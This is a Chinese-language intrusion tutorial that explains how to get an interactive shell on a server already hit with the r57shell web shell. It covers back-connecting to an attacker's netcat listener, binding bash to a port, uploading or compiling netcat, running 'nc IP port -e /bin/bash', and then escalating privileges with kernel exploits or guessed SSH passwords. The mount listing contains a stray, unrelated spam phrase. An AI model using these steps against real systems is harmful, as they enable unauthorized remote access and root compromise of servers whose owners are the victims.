方法一:
利用shell本身的功能(以r57shell.php为列):
1.backconnect功能.
首先在本机(外网)nc监听某个端口:nc-vv-l-p11457,然后shell中添上你本机的IP及端口,如果情况好即可获得一个cmdline.
你可以选择是perl还是c(这个很重要,很多时候换个就能成功)
2.Bindportto/bin/bash功能.
添上端口和密码,你还是可以选择是perl还是c(这个很重要,很多时候换个就能成功),然后点击Bind按钮,在去本机ncIP(shell)port如果成功,会提示你输入密码.就会得到一个cmdline.
方法二:
上传perl版的nc或者服务器远程编译nc:
1.上传perl版的nc
首先在本机(外网)nc监听某个端口:nc-vv-l-p11457,然后shell执行命令perlnc.pl本机IPport,如果情况好即可获得一个cmdline.
2.服务器远程编译nc.
这种方法主要用在服务器没有安装nc的情况下,如果服务器有nc则好说,直接本机(外网)nc监听某个端口:nc-vv-l-p11457,然后shell执行命令nc本机IPport-e/bin/bash(没有bash就用sh).
编译nc.先去下载netcat的源码包,放到/tmp/或者/dev/shm下..反正用mount命令看看服务器挂载的情况.如果服务器加入了noexec,nosuid等就不要放在该目录下.如:
/dev/sda3on/typeext3(rw)
noneon/proctypeproc(rw)
noneon/systypesy单机传奇s(rw)
noneon/dev/ptstypedevpts(rw,gid=5,mode=620)
usbfson/proc/bus/usbtypeusbfs(rw)
/dev/sda1on/boottypeext3(rw)
noneon/dev/shmtypetmpfs(rw)
/dev/sda6on/vartypeext3(rw)
/dev/sda2on/wwwtypeext3(rw,quota)
noneon/proc/sys/fs/binfmt_misctypebinfmt_misc(rw)
下面就是编译的事了,./configure,make就行了(服务器一定要有C编译器).编译完成就可以用这个nc来使用了(用绝对路径),使用方法和前面相同.
3.提权服务器
当得到一个cmdline后,就可以查看内核的版本(uname-r),然后根据对应的溢出程序来提权.
三:可能遇到的问题:
1.shell无法反弹过来,通过以上的方法还是无法成功反弹,这时我们可以猜测服务器普通用户的密码来登录ssh(一般有很多站点).在进行下一步操作.
2.服务器没有C编译器.无法编译溢出程序.这时我们只需上传自己已经编译好的溢出程序,上传到服务器,然后设置相关的权限即可.
3.明明已经提权成功,但使用useradduserdel等一些命令的时候却出现命令无法找到,这时我们只需要执行su-命令即可.
...
*
|